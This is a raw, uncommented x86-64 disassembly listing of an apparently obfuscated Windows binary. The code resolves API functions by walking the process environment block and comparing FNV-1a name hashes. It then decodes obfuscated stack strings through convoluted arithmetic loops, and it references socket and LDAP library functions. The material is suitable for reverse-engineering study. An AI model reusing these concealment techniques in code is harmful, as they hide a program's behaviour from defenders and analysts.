movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x1401288dd
lea rcx, [r10 + rax]
cmp r9, rcx
jae 0x1401288dd
mov esi, r12d
mov r14d, r12d
jmp 0x1401288a4
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x140128896
jmp 0x1401288ba
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x1401288ad
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401288da
cmp qword [rdi + 0x30], 0
jne 0x1401287b1
xor r9d, r9d
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x140128957
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
cmp rcx, rdx
je 0x14012893e
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14012891f
cmp r8d, 0x610c0de3
je 0x1401289a3
mov r9, qword [r9]
cmp r9, r10
je 0x14012894d
cmp qword [r9 + 0x30], 0
jne 0x140128907
xor r8d, r8d
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
xor r9d, r9d
mov r10d, dword [r11 + r8 + 0x20]
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, r12d
mov al, byte [rdx]
inc rdx
test al, al
je 0x14012899e
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
jne 0x140128982
cmp ecx, 0xe463da3c
je 0x1401289a9
inc r9d
jmp 0x14012896b
mov r8, qword [r9 + 0x30]
jmp 0x140128950
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x140128b36
xor esi, esi
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x140128a4a
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140128a3c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140128a2b
cmp r8d, esi
jne 0x140128b19
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140128b19
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140128b19
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140128a9e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140128a93
cmp edx, r14d
je 0x140128ab4
test r9d, r9d
jne 0x140128a7e
jmp 0x140128b19
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x140128b2f
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140128b2f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140128af6
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x140128ae8
jmp 0x140128b0c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x140128aff
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140128b2c
cmp qword [rdi + 0x30], 0
jne 0x1401289fa
xor r10d, r10d
mov qword [0x1404fba00], r10
lea r9, [rbp + 0xe28]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x140128cb9
xor esi, esi
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x140128bcd
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140128bbf
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140128bae
cmp r8d, esi
jne 0x140128c9c
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140128c9c
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140128c9c
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140128c21
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140128c16
cmp edx, r14d
je 0x140128c37
test r9d, r9d
jne 0x140128c01
jmp 0x140128c9c
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x140128cb2
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x140128cb2
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140128c79
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x140128c6b
jmp 0x140128c8f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x140128c82
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140128caf
cmp qword [rdi + 0x30], 0
jne 0x140128b7d
xor r8d, r8d
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
cmp byte [0x1404fba42], 0
jne 0x14012de40
mov byte [rbp + 0xa10], 0x9b
mov byte [rbp + 0xa11], 0x59
mov r15d, 0x80
mov byte [rbp + 0xa12], r15b
mov byte [rbp + 0xa13], 0x5b
mov byte [rbp + 0xa14], 0xa0
mov byte [rbp + 0xa15], 0x45
mov byte [rbp + 0xa16], 0xbb
mov byte [rbp + 0xa17], 0x47
mov byte [rbp + 0xa18], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xa19], 0x41
mov byte [rbp + 0xa1a], 0xaf
mov byte [rbp + 0xa1b], 0x43
mov byte [rbp + 0xa1c], 0xde
mov byte [rbp + 0xa1d], Ordinal_79
mov byte [rbp + 0xa1e], 0xdd
mov byte [rbp + 0xa1f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xa20], 0xac
mov byte [rbp + 0xa21], Ordinal_79
mov byte [rbp + 0xa22], 0x86
mov byte [rbp + 0xa23], Ordinal_79
mov byte [rbp + 0xa24], 0x99
mov byte [rbp + 0xa25], 0x75
mov byte [rbp + 0xa26], 0x98
mov byte [rbp + 0xa27], 0x77
mov byte [rbp + 0xa28], __WSAFDIsSet
mov byte [rbp + 0xa29], WSACleanup
mov byte [rbp + 0xa2a], 0xef
mov byte [rbp + 0xa2b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa2c], 0xe8
mov byte [rbp + 0xa2d], 0x7d
mov byte [rbp + 0xa2e], 0xe2
mov byte [rbp + 0xa2f], 0x7f
mov byte [rbp + 0xa30], 0x9c
mov byte [rbp + 0xa31], 0x79
mov byte [rbp + 0xa32], 0xbb
mov byte [rbp + 0xa33], 0x7b
mov byte [rbp + 0xa34], 0xf4
mov byte [rbp + 0xa35], 0x65
mov byte [rbp + 0xa36], 0xf6
mov byte [rbp + 0xa37], 0x67
mov byte [rbp + 0xa38], 0xac
mov byte [rbp + 0xa39], 0x61
mov byte [rbp + 0xa3a], 0x83
mov byte [rbp + 0xa3b], 0x63
mov byte [rbp + 0xa3c], 0xf0
mov byte [rbp + 0xa3d], WSASetLastError
mov byte [rbp + 0xa3e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xa3f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xa40], Ordinal_143
mov byte [rbp + 0xa41], WSAGetLastError
mov byte [rbp + 0xa42], 0xa7
mov byte [rbp + 0xa43], WSASetLastError
mov byte [rbp + 0xa44], 0x88
mov byte [rbp + 0xa45], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xa46], 0xfe
mov byte [rbp + 0xa47], reloc.WS2_32.dll_socket
mov byte [rbp + 0xa48], 0xfd
mov byte [rbp + 0xa49], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xa4a], r15b
mov byte [rbp + 0xa4b], reloc.WS2_32.dll_send
mov byte [rbp + 0xa4c], 0xfd
mov byte [rbp + 0xa4d], Ordinal_32
mov byte [rbp + 0xa4e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xa4f], Ordinal_32
mov byte [rbp + 0xa50], 0xfa
mov byte [rbp + 0xa51], Ordinal_27
mov byte [rbp + 0xa52], 0xf3
mov byte [rbp + 0xa53], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xa54], __WSAFDIsSet
mov byte [rbp + 0xa55], 5
mov byte [rbp + 0xa56], 6
mov byte [rbp + 0xa57], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa58], xmm0
mov qword [rbp + 0xa68], rax
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r9, qword [rax]
xor r11d, r11d
lea r12d, [r11 + 1]
cmp r11, 0x60
jae 0x140129949
movzx r8d, byte [rbp + r11 + 0xa10]
mov edx, r8d
cmp rbx, r11
ja 0x140129940
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140128f55
movabs rsi, 0xe2ff43c1b0c1bb8c
lea rcx, [r11 + rsi]
mov eax, edx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x2c
jmp 0x140128f8f
je 0x1401298bd
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14012986b
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14012980b
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401297e4
mov r10b, dil
movabs rsi, 0xe2ff43c1b0c1bb8c
cmp r9, r11
ja 0x140129937
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x140128fc5
movabs rdi, 0x9ef08ee37fe4627c
add rdi, r11
mov al, dil
and al, r8b
add al, al
sub dil, al
sub dil, 0x64
add dil, r8b
jmp 0x140128ffc
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140129798
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140129774
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140129751
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14012972d
mov dil, r10b
lea rax, [r9 + rbx]
cmp rax, r11
jbe 0x140129358
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x140129335
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x140129321
lea rax, [r9 + 8]
cmp rbx, rax
je 0x1401292fd
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x1401292d9
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x1401292b6
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14012928f
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x140129914
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x1401298f1
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x140129121
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x140129278
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x140129249
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x140129009
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x140129222
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x1401291fb
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x1401291d8
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x1401291b1
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x14012918a
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x140129167
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x140129144
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x140129009
movabs rcx, 0x4099ca2af930d504
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x140128ffc
movabs rdx, 0xf784771bff2313e0
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
jmp 0x1401297b6
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x1401297df
movabs rdx, 0x6b8768153c1c25b0
add rdx, r11
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140129803
movabs rdx, 0x198bd18b1791c068
add rdx, r11
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012985b
movabs rdx, 0x538d4a07b60e4950
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
jmp 0x14012947c
movabs rdx, 0x8d8ec284548ad238
add rdx, r11
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140129888
movabs rdx, 0xc7903b00f3075b20
add rdx, r11
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401298da
movabs rdx, 0x5893e8387f3eb164
add rdx, r11
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r11 + 0xa10], dil
jmp 0x1401298e9
movabs rdx, 0x69851ae5ab44c1c
add rdx, r11
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14012936e
movabs rdx, 0xf3a4d1d19dd6d7d0
add rdx, r11
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140129888
movabs rdx, 0x2da64a4e3c5360b8
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
jmp 0x14012947c
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x14012985b
movabs rcx, 0x15ac2c40b6458458
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x140129803
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140129783
movabs rdx, 0x89af1d39f33e9628
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x1401297b6
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x140129425
lea rdx, [r11 + rsi]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x1401296ca
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x14012950d
movabs rdx, 0x16d325271e29b05c
add rdx, r11
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, r15
jae 0x1401296a2
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x1401295b3
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r11
mov al, dl
and al, r8b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r9, 0x42
jb 0x14012926b
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r11
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1401297b9
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140129455
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, Ordinal_32
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401298da
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140129484
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
add dil, dl
jmp 0x1401296f4
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401294b1
movabs rcx, 0x55db3bd485d6a158
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x140129858
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401294dd
movabs rdx, 0x1bd9c357e75a1870
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
jmp 0x14012982a
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x14012937e
movabs rdx, 0x6dd559e20be47db8
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
jmp 0x1401297b6
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140129539
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x1401297b9
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140129556
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140129783
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140129583
movabs rcx, 0xbaca523b673e7aec
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x14012985b
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x1401293bb
movabs rdx, 0x80c8d9bec8c1f204
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1c
jmp 0x14012947c
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401295d0
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x14012943d
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401295fc
movabs rcx, 0x41c0c31161150108
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140129888
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140129628
movabs rcx, 0x93bc599b859f6650
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140129858
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140129645
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14012981a
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140129671
movabs rcx, 0x1fb968a248a65480
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, r15b
jmp 0x140129803
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401293f3
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x1401297df
movabs rdx, 0x37b386afceb430e0
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r11 + 0xa10]
sub dil, al
sub dil, 0x20
jmp 0x140129827
movabs rdx, 0xfdb20e333037a7f8
add rdx, r11
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r11 + 0xa10]
add dil, dl
add dil, r8b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r11
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0xa10], al
add r9, r12
add rax, r9
sub r11, rax
jmp 0x140129888
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x54
jmp 0x14012985b
movabs rdx, 0xb6eaacf105f23edc
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x14012982a
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401297df
movabs rdx, 0x64ef1666e167d994
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xc
add dil, dl
movabs rcx, 0x54b442ee1df27554
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x4c
add r8b, cl
mov byte [rbp + r11 + 0xa10], r8b
add r9, r12
jmp 0x140129803
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
sub r11, r12
jmp 0x1401298e9
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r11
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, dil
add cl, r8b
add cl, dl
mov byte [rbp + r11 + 0xa10], cl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x1401298e9
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r11
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
movabs rcx, 0xc3b095b691bb1f10
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x70
add r8b, cl
mov byte [rbp + r11 + 0xa10], r8b
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
jmp 0x1401298da
movabs rcx, 0xa8fdcb45124532a4
add rcx, r11
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r11 + 0xa10]
add rax, r9
add r11, rax
add r11, r12
jmp 0x140128f0a
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x140128f03
movabs rcx, 0x289fac1d7322f8a4
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x140128ef3
lea rdx, [rbp + 0x16a0c20]
jmp 0x140129950
lea rdx, [rbp + 0x6bc7ac]
jmp 0x140129950
lea rdx, [rbp + 0xa10]
lea rcx, [rbp - 0x40]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
mov esi, 0x108
mov r8d, esi
xor edx, edx
lea rcx, [rbp + 0x2050]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140129984
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x2050]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2050]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2050]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x8a0], 0x9b
mov byte [rbp + 0x8a1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x8a2], 0x90
mov byte [rbp + 0x8a3], 0xdb
mov byte [rbp + 0x8a4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x8a5], Ordinal_217
mov byte [rbp + 0x8a6], 0x7b
mov byte [rbp + 0x8a7], Ordinal_217
mov byte [rbp + 0x8a8], 0x43
mov byte [rbp + 0x8a9], Ordinal_211
mov byte [rbp + 0x8aa], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x8ab], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x8ac], 0x5e
mov byte [rbp + 0x8ad], Ordinal_211
mov byte [rbp + 0x8ae], 0x5d
mov byte [rbp + 0x8af], Ordinal_211
mov byte [rbp + 0x8b0], WSASetLastError
mov byte [rbp + 0x8b1], 0xc9
mov byte [rbp + 0x8b2], 0x7a
mov byte [rbp + 0x8b3], 0xcb
mov byte [rbp + 0x8b4], Ordinal_79
mov byte [rbp + 0x8b5], Ordinal_200
mov byte [rbp + 0x8b6], 0x64
mov byte [rbp + 0x8b7], Ordinal_200
mov byte [rbp + 0x8b8], 0x54
mov byte [rbp + 0x8b9], 0xc1
mov byte [rbp + 0x8ba], 0x5b
mov byte [rbp + 0x8bb], Ordinal_200
mov byte [rbp + 0x8bc], 0x9f
mov byte [rbp + 0x8bd], 0x3d
mov byte [rbp + 0x8be], 0x9a
mov byte [rbp + 0x8bf], 0x3f
mov byte [rbp + 0x8c0], 0x84
mov byte [rbp + 0x8c1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x8c2], 0xa8
mov byte [rbp + 0x8c3], Ordinal_60
mov byte [rbp + 0x8c4], 0xad
mov byte [rbp + 0x8c5], gethostname
mov byte [rbp + 0x8c6], 0xb8
mov byte [rbp + 0x8c7], Ordinal_60
mov byte [rbp + 0x8c8], 0xad
mov byte [rbp + 0x8c9], Ordinal_50
mov byte [rbp + 0x8ca], 0xa0
mov byte [rbp + 0x8cb], gethostname
mov byte [rbp + 0x8cc], 0xbf
mov byte [rbp + 0x8cd], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x8ce], 0x78
mov byte [rbp + 0x8cf], Ordinal_50
mov byte [rbp + 0x8d0], Ordinal_143
mov byte [rbp + 0x8d1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x8d2], 0xb3
mov byte [rbp + 0x8d3], Ordinal_46
mov byte [rbp + 0x8d4], 0xb2
mov r14d, Ordinal_41
mov byte [rbp + 0x8d5], r14b
mov byte [rbp + 0x8d6], Ordinal_41
mov byte [rbp + 0x8d7], Ordinal_41
xor eax, eax
mov qword [rbp + 0x8d8], rax
mov dword [rbp + 0x8e0], eax
mov word [rbp + 0x8e4], ax
mov byte [rbp + 0x8e6], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x47
jae 0x14012a66e
movzx r8d, byte [rbp + r9 + 0x8a0]
mov rdx, r8
cmp rdi, r9
ja 0x14012a665
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140129bce
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x44
jmp 0x140129c05
je 0x14012a5e2
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14012a5b3
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14012a591
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14012a543
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x14012a65c
